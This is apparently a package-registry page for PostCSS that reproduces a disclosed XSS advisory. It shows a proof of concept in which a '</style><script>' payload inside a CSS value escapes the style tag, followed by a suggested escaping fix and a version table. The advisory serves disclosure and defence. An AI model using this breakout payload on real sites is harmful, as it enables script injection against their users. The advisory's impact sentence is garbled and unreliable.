NodeJS/postcss/8.5.8
Tool for transforming styles with JS plugins
https://www.npmjs.com/package/postcss
MIT
1 Security Vulnerabilities
PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5): Input: body { content: "</style><script>alert(1)</script><style>"; } Output: body { content: "</style><script>alert(1)</script><style>"; } Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values: javascript output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
277 Other Versions
| Version | License | Security | Released | |
|---|---|---|---|---|
| 3.0.6 | MIT | 3 | 2014-12-07 - 21:07 | over 11 years |
| 3.0.5 | MIT | 3 | 2014-11-27 - 20:38 | over 11 years |
| 3.0.4 | MIT | 3 | 2014-11-22 - 08:29 | over 11 years |
| 3.0.3 | MIT | 3 | 2014-11-21 - 12:55 | over 11 years |
| 3.0.2 | MIT | 3 | 2014-11-14 - 13:59 | over 11 years |
| 3.0.1 | MIT | 3 | 2014-11-13 - 18:48 | over 11 years |
| 3.0.0 | MIT | 3 | 2014-11-11 - 22:14 | over 11 years |
| 2.2.6 | MIT | 3 | 2014-10-31 - 20:54 | over 11 years |
| 2.2.5 | MIT | 3 | 2014-09-24 - 20:51 | over 11 years |
| 2.2.4 | MIT | 3 | 2014-09-01 - 17:52 | over 11 years |
| 2.2.3 | MIT | 3 | 2014-08-27 - 23:14 | over 11 years |
| 2.2.2 | MIT | 3 | 2014-08-27 - 15:24 | over 11 years |
| 2.2.1 | MIT | 3 | 2014-08-22 - 12:30 | over 11 years |
| 2.2.0 | MIT | 3 | 2014-08-17 - 14:53 | over 11 years |
| 2.1.2 | MIT | 3 | 2014-08-08 - 19:35 | over 11 years |
| 2.1.1 | MIT | 3 | 2014-08-06 - 21:49 | over 11 years |
| 2.1.0 | MIT | 3 | 2014-07-27 - 09:11 | almost 12 years |
| 2.0.0 | MIT | 3 | 2014-07-23 - 06:50 | almost 12 years |
| 1.0.0 | MIT | 3 | 2014-06-23 - 04:53 | almost 12 years |
| 0.3.5 | MIT | 3 | 2014-05-30 - 05:55 | almost 12 years |
| 0.3.4 | MIT | 3 | 2014-03-03 - 20:24 | about 12 years |
| 0.3.3 | MIT | 3 | 2014-03-02 - 09:14 | about 12 years |
| 0.3.2 | MIT | 3 | 2014-02-19 - 11:04 | about 12 years |
| 0.3.1 | MIT | 3 | 2014-02-18 - 12:28 | about 12 years |
| 0.3.0 | MIT | 3 | 2014-02-13 - 19:31 | about 12 years |
| 0.2.0 | MIT | 3 | 2013-12-17 - 23:47 | over 12 years |
| 0.1.0 | MIT | 3 | 2013-11-04 - 20:21 | over 12 years |
